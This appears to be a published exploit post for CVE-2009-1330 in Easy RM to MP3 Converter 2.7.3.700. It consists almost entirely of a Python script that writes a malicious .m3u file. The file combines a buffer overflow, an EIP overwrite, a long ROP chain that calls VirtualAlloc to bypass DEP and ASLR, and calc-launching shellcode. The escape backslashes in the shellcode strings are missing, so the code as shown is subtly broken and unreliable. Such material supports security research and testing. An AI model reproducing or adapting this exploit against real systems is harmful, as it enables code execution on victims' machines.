Easy RM To MP3 Converter 2.7.3.700 Universal DEP + ASLR Bypass
Posted on 14 June 2016
# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass # Date: 2016-06-12 # Exploit Author: Csaba Fitzl # Vendor Homepage: N/A # Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe # Version: 2.7.3.700 # Tested on: Windows 7 x64 # CVE : CVE-2009-1330 import struct def create_rop_chain(): # rop chain generated with mona.py - www.corelan.be # added missing parts, and some optimisation by Csaba Fitzl rop_gadgets = [ #mov 1000 to EDX - Csaba 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x10025a1c, # XOR EDX,EDX # RETN 0x1002bc3d, # MOV EAX,411 # RETN 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc4c, # ADD EAX,100 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc24, # ADD EAX,80 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1002dc41, # ADD EAX,40 # POP EBP # RETN 0x41414141, # Filler (compensate) 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x1001d2ac, # ADD EAX,4 # RETN 0x10023327, # INC EAX # RETN 0x10023327, # INC EAX # RETN 0x10023327, # INC EAX # RETN # AT this point EAX = 0x1000 0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI 0x41414141, # Filler (compensate) 0x10026d56, # POP EAX # RETN [MSRMfilter03.dll] 0x10032078, # ptr to &VirtualAlloc() [IAT MSRMfilter03.dll] 0x1002e0c8, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll] 0x1001a788, # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x10027c5a, # POP EBP # RETN [MSRMfilter03.dll] 0x1001b058, # & push esp # ret [MSRMfilter03.dll] 0x1002b93e, # POP EAX # RETN [MSRMfilter03.dll] 0xfffffffb, # put delta into eax (-> put 0x00000001 into ebx) 0x1001d2ac, # ADD EAX,4 # RETN 0x10023327, # INC EAX # RETN 0x10023327, # INC EAX # RETN 0x1001bdee, # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x10029f74, # POP ECX # RETN [MSRMfilter03.dll] 0xffffffff, # 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002dd3e, # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 0x1002bc6a, # POP EDI # RETN [MSRMfilter03.dll] 0x1001c121, # RETN (ROP NOP) [MSRMfilter03.dll] 0x10026f2b, # POP EAX # RETN [MSRMfilter03.dll] 0x10024004, #address to xor, it will point to the DLL's data section which is writeable. Also will work as NOP 0x1002bc07 # PUSHAD # XOR EAX,11005 # ADD BYTE PTR DS:[EAX],AL ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) buffersize = 26090 junk = "A" * buffersize eip = 'x85x22x01x10' # {pivot 8 / 0x08} : # ADD ESP,8 # RETN rop = create_rop_chain() calc = ( "x31xD2x52x68x63x61x6Cx63x89xE6x52x56x64" "x8Bx72x30x8Bx76x0Cx8Bx76x0CxADx8Bx30x8B" "x7Ex18x8Bx5Fx3Cx8Bx5Cx1Fx78x8Bx74x1Fx20" "x01xFEx8Bx4Cx1Fx24x01xF9x42xADx81x3Cx07" "x57x69x6Ex45x75xF5x0FxB7x54x51xFEx8Bx74" "x1Fx1Cx01xFEx03x3Cx96xFFxD7") shell = "x90"*0x10 + calc exploit = junk + eip + rop + shell + 'C' * (1000-len(rop)-len(shell)) filename = "list.m3u" textfile = open(filename , 'w') textfile.write(exploit) textfile.close()
